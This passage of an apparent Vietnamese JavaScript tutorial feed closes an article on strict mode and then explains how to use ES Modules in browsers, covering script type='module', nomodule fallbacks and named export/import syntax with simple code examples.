0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là một số lỗi thường gặp phải khi bạn sử dụng JavaScript strict mode. Nói vậy, không có nghĩa là mình khuyên bạn tránh sử dụng strict mode. Ngược lại, chế độ này giúp bạn dễ dàng <a href="/debug-javascript-de-hay-kho/">phát hiện lỗi</a>. Và đây là sự đảm bảo cho code bạn không bị xung đột với những phiên bản JavaScript mới hơn sau này.</p> <p>Bài viết này sẽ dừng lại ở đây.</p> <p>Xin chào và hẹn gặp lại bạn ở <a href="/tim-hieu-regular-expression-javascript/">bài viết tiếp theo</a>, thân ái!</p> <h2 id="tham-khảo" style="position:relative;"><a href="#tham-kh%E1%BA%A3o" aria-label="tham khảo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tham khảo</h2> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">Strict mode</a></li> </ul>[email protected]<![CDATA[Sử dụng ES Modules trên trình duyệt]]><![CDATA[Hiện tại, ES Modules đã được support bởi khá nhiều các trình duyệt. Điều đó nghĩa là bạn có thể sử dụng ES Modules trực tiếp trên trình duyệt mà không cần phải cài đặt Node.js cùng…]]>https://completejavascript.com/su-dung-es-modules-tren-trinh-duyet/https://completejavascript.com/su-dung-es-modules-tren-trinh-duyet/<![CDATA[ES6]]><![CDATA[Modules]]>Tue, 25 Jul 2017 23:00:56 GMT<p>Hiện tại, <strong>ES Modules</strong> đã được <a href="https://caniuse.com/#feat=es6-module">support bởi khá nhiều các trình duyệt</a>. Điều đó nghĩa là bạn có thể sử dụng ES Modules trực tiếp trên trình duyệt mà không cần phải <a href="/huong-dan-tim-hieu-node-js-co-ban/">cài đặt Node.js</a> cùng với các công cụ như <a href="http://browserify.org/">Browserify</a>, <a href="https://requirejs.org/">RequireJS</a>, <a href="https://webpack.js.org/">Webpack</a>,...</p> <p>Sau đây, mình sẽ tìm hiểu về ES Modules và cách sử dụng nó trực tiếp trên trình duyệt. Mời bạn theo dõi bài viết!</p> <h2 id="cơ-bản-về-es-modules" style="position:relative;"><a href="#c%C6%A1-b%E1%BA%A3n-v%E1%BB%81-es-modules" aria-label="cơ bản về es modules permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cơ bản về ES Modules</h2> <p>ES Modules (hay còn gọi là "JavaScript Modules", "JS Modules" hay "ECMAScript modules") là một tính năng mới của trình duyệt cho phép bạn làm việc với modules. Nhờ vậy, bạn có thể chia nhỏ chương trình ra thành các modules, với mỗi module có một chức năng riêng biệt.</p> <p>Trong một module, bạn có thể sử dụng từ khoá <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/export">export</a> để export bất kỳ kiểu dữ liệu nào như: biến số với <a href="/phan-biet-var-va-let-trong-javascript/">var, let</a> hay const, class, <a href="/ham-la-gi-ham-trong-javascript/">function</a>,... Sau đó, bạn sử dụng từ khoá <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import">import</a> để sử dụng chúng ở một file khác.</p> <p>Sử dụng ES Modules có một số lợi ích như:</p> <ul> <li>Giúp module hoá chương trình. Qua đó, việc xây dựng, kiểm thử và bảo trì code sẽ tốt hơn.</li> <li>Hỗ trợ <strong>dynamic import()</strong> giúp download modules khi cần thiết. Nhờ vậy, thời gian load trang sẽ giảm xuống.</li> </ul> <p>Nói vậy thì cách sử dụng ES Modules có gì khác với JavaScript thông thường?</p> <h2 id="es-modules-với-javascript-thông-thường" style="position:relative;"><a href="#es-modules-v%E1%BB%9Bi-javascript-th%C3%B4ng-th%C6%B0%E1%BB%9Dng" aria-label="es modules với javascript thông thường permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>ES Modules với JavaScript thông thường</h2> <p>Bởi vì, ES Modules là một tính năng mới (từ ES6) dành cho các trình duyệt hiện đại. Do đó, nó luôn luôn được sử dụng ở chế độ <a href="/mot-so-loi-khi-su-dung-strict-mode-javascript/">Strict mode</a>.</p> <p>Tiếp theo, comment code theo kiểu HTML không được support ở modules, mặc dù nó vẫn hợp lệ ở JS thông thường. Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">/* * Sử dụng comment kiểu HTML trong JavaScript thông thường, * không sai, nhưng không nên dùng. */</span> <span class="token keyword">const</span> x <span class="token operator">=</span> <span class="token number">42</span><span class="token punctuation">;</span> <span class="token operator">&lt;</span><span class="token operator">!</span><span class="token operator">--</span> <span class="token constant">TODO</span><span class="token operator">:</span> Rename x to y<span class="token punctuation">.</span> <span class="token comment">// Cách sử dụng comment chuẩn</span> <span class="token keyword">const</span> x <span class="token operator">=</span> <span class="token number">42</span><span class="token punctuation">;</span> <span class="token comment">// TODO: Rename x to y.</span></code></pre></div> <p>Modules có phạm vi "lexical top-level". Nghĩa là khi bạn chạy <code>var foo = 42;</code> trong modules, JS sẽ không tạo ra một biến ở global với tên <em>foo</em>. Hay nói cách khác là <code>window.foo</code> sẽ trả về <strong>undefined</strong>.</p> <p>Cuối cùng, từ khoá <em>export</em> và <em>import</em> chỉ sử dụng được ở modules mà không gọi được ở JavaScript thông thường.</p> <p>Với những sự khác nhau trên, rõ ràng trình duyệt cần phải phân biệt được: đâu là JavaScript cho ES Modules và đâu là JavaScript thông thường để có thể xử lý cho đúng.</p> <p>Vì vậy, phần dưới đây sẽ trình bày cách sử dụng ES Modules trên trình duyệt.</p> <h2 id="cách-sử-dụng-es-modules-trên-trình-duyệt" style="position:relative;"><a href="#c%C3%A1ch-s%E1%BB%AD-d%E1%BB%A5ng-es-modules-tr%C3%AAn-tr%C3%ACnh-duy%E1%BB%87t" aria-label="cách sử dụng es modules trên trình duyệt permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách sử dụng ES Modules trên trình duyệt</h2> <p>Để khai báo một script là ES Modules, bạn phải thêm <strong>attribute</strong> cho nó là: <code>type="module"</code>.</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>module<span class="token punctuation">"</span></span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>main.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span></code></pre></div> <p>Nghĩa là với những trình duyệt hiện đại, nó sẽ hiểu được thuộc tính này. Và trình duyệt sẽ xử lý file <em>main.js</em> theo kiểu của module.</p> <p><strong>Nói vậy, đối với những trình duyệt cũ, không support ES modules thì sao?</strong></p> <p>Để chương trình có thể chạy được ở cả trình duyệt cũ và mới thì mình phải định nghĩa thêm như này:</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>module<span class="token punctuation">"</span></span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>main.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">nomodule</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>fallback.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span></code></pre></div> <p>Khi đó, đối với trình duyệt mới (support modules): nó sẽ hiểu thuộc tính <code>type="module"</code> và bỏ qua <em>script</em> với thuộc tính <strong>nomodule</strong>. Hay nói cách khác, chương trình sẽ nhận <em>main.js</em> và bỏ qua <em>fallback.js</em>.</p> <p>Với trình duyệt cũ (không support modules): nó không hiểu thuộc tính <code>type="module"</code> mà chỉ hiểu thuộc tính <code>type="text/javascript"</code> hoặc trường hợp không khai báo thuộc tính <em>type</em> thì mặc định vẫn là <code>type="text/javascript"</code>. Do đó, chương trình sẽ bỏ qua <em>main.js</em> và chỉ nhận <em>fallback.js</em>.</p> <p><strong>Chú ý:</strong> 2 file <em>main.js</em> và <em>fallback.js</em> có ý nghĩa tương đương nhau, chỉ khác nhau về cú pháp, cách viết.</p> <h2 id="ví-dụ-đơn-giản-về-chương-trình-sử-dụng-es-modules" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-%C4%91%C6%A1n-gi%E1%BA%A3n-v%E1%BB%81-ch%C6%B0%C6%A1ng-tr%C3%ACnh-s%E1%BB%AD-d%E1%BB%A5ng-es-modules" aria-label="ví dụ đơn giản về chương trình sử dụng es modules permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ đơn giản về chương trình sử dụng ES Modules</h2> <p>Mình sẽ demo một chương trình cực kỳ đơn giản sử dụng Modules với các file là: <em>index.html</em>, <em>main.js</em> và <em>lib.js</em>.</p> <p><strong>index.html</strong>:</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">html</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>html</span> <span class="token attr-name">lang</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>en<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>head</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">charset</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>UTF-8<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>viewport<span class="token punctuation">"</span></span> <span class="token attr-name">content</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>width=device-width, initial-scale=1.0<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">http-equiv</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>X-UA-Compatible<span class="token punctuation">"</span></span> <span class="token attr-name">content</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>ie=edge<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>title</span><span class="token punctuation">></span></span>Document<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>title</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>module<span class="token punctuation">"</span></span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>./main.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>html</span><span class="token punctuation">></span></span></code></pre></div> <p><strong>main.js</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">import</span> <span class="token punctuation">{</span> repeat<span class="token punctuation">,</span> shout <span class="token punctuation">}</span> <span class="token keyword">from</span> <span class="token string">"./lib.js"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"main.js"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">repeat</span><span class="token punctuation">(</span><span class="token string">"hello"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">shout</span><span class="token punctuation">(</span><span class="token string">"Modules in action"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>lib.js</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">export</span> <span class="token keyword">const</span> <span class="token function-variable function">repeat</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">string</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>string<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>string<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">function</span> <span class="token function">shout</span><span class="token punctuation">(</span><span class="token parameter">string</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>string<span class="token punctuation">.</span><span class="token function">toUpperCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">!</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong file, <em>index.html</em> mình khai báo script với <code>type="module"</code> và nội dung file là <em>main.js</em>. Tức file <em>main.js</em> đóng vai trò là ES Modules. Trong file này, mình có sử dụng từ khoá <em>import</em> để import nội dung từ một file modules khác <em>lib.js</em>. Dĩ nhiên, file <em>lib.js</em> cũng là một ES Modules. Trong file này, mình sử dụng từ khoá <em>export</em> để export ra 2 hàm cho <em>main.js</em> sử dụng.</p> <p>Kết quả hiện thị ra console là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">/* * => main.js * => hello hello * => MODULES IN ACTION */</span></code></pre></div> <h2 id="cú-pháp-cơ-bản-của-es-modules" style="position:relative;"><a href="#c%C3%BA-ph%C3%A1p-c%C6%A1-b%E1%BA%A3n-c%E1%BB%A7a-es-modules" aria-label="cú pháp cơ bản của es modules permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cú pháp cơ bản của ES Modules</h2> <p>Khi sử dụng modules, mình phải quan tâm đến cả phần <em>export</em> (tạo modules) và <em>import</em> (sử dụng modules). Có 2 kiểu export modules:</p> <ul> <li><strong>named</strong> (theo tên): dùng để export nhiều giá trị trong một modules. Và khi import, bắt buộc phải sử dụng đúng tên đã export.</li> <li><strong>default</strong> (mặc định): mỗi module chỉ cho phép export <strong>default</strong> một giá trị.</li> </ul> <h3 id="export-import-theo-tên" style="position:relative;"><a href="#export-import-theo-t%C3%AAn" aria-label="export import theo tên permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Export, import theo tên</h3> <h4 id="export-theo-tên" style="position:relative;"><a href="#export-theo-t%C3%AAn" aria-label="export theo tên permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Export theo tên</h4> <p>Bạn có thể export bất kỳ kiểu dữ liệu nào với từ khoá export đặt trước khai báo biến:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">export</span> <span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">var</span> y <span class="token operator">=</span> <span class="token string">"a"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">const</span> z <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">function</span> <span class="token function">add</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> a <span class="token operator">+</span> b<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">export</span> <span class="token keyword">class</span> <span class="token class-name">Utils</span> <span class="token punctuation">{</span> <span class="token function">print</span><span class="token punctuation">(</span><span class="token parameter">text</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>text<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Hoặc gộp chúng vào thành 1 <a href="/object-la-gi-object-trong-javascript/">object</a> với một từ khoá <em>export</em>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">var</span> y <span class="token operator">=</span> <span class="token string">"a"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> z <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">add</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> a <span class="token operator">+</span> b<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">class</span> <span class="token class-name">Utils</span> <span class="token punctuation">{</span> <span class="token function">print</span><span class="token punctuation">(</span><span class="token parameter">text</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>text<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">export</span> <span class="token punctuation">{</span> x<span class="token punctuation">,</span> y<span class="token punctuation">,</span> z<span class="token punctuation">,</span> add<span class="token punctuation">,</span> Utils <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Hoặc cũng có thể đổi tên chúng khi export:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">export</span> <span class="token punctuation">{</span> x <span class="token keyword">as</span> publicX<span class="token punctuation">,</span> y <span class="token keyword">as</span> publicY<span class="token punctuation">,</span> z <span class="token keyword">as</span> publicZ<span class="token punctuation">,</span> add <span class="token keyword">as</span> sum<span class="token punctuation">,</span> Utils <span class="token keyword">as</span> Tools <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <h4 id="import-theo-tên" style="position:relative;"><a href="#import-theo-t%C3%AAn" aria-label="import theo tên permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Import theo tên</h4> <p>Mình phải import theo đúng tên đã export:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">import</span> <span class="token punctuation">{</span> x<span class="token punctuation">,</span> y<span class="token punctuation">,</span> z<span class="token punctuation">,</span> add<span class="token punctuation">,</span> Utils <span class="token punctuation">}</span> <span class="token keyword">from</span> <span class="token string">"./lib.js"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>y<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// a</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>z<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {x: 1, y: 2}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Utils</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">print</span><span class="token punctuation">(</span><span class="token string">"hi"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hi</span></code></pre></div> <p>Bên trên, mình import hết tất cả các giá trị. Tuy nhiên, bạn có thể chỉ import những thứ cần để sử dụng:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">import</span> <span class="token punctuation">{</span> x<span class="token punctuation">,</span> y<span class="token punctuation">,</span> z <span class="token punctuation">}</span> <span class="token keyword">from</span> <span class="token string">"./lib.js"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>y<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// a</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>z<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {x: 1, y: 2}</span></code></pre></div> <p>Ngoải ra, để tránh trường hợp trùng tên với biến khác, bạn có thể import và đồng thời đặt tên mới cho biến:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">import</span> <span class="token punctuation">{</span> x <span class="token keyword">as</span> newX<span class="token punctuation">,</span> y <span class="token keyword">as</span> newY<span class="token punctuation">,</span> z <span class="token keyword">as</span> newZ <span class="token punctuation">}</span> <span class="token keyword">from</span> <span class="token string">"./lib.js"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>newX<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>newY<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// a</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>newZ<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {x: 1, y: 2}</span></code></pre></div> <p>Hoặc import tất cả các giá 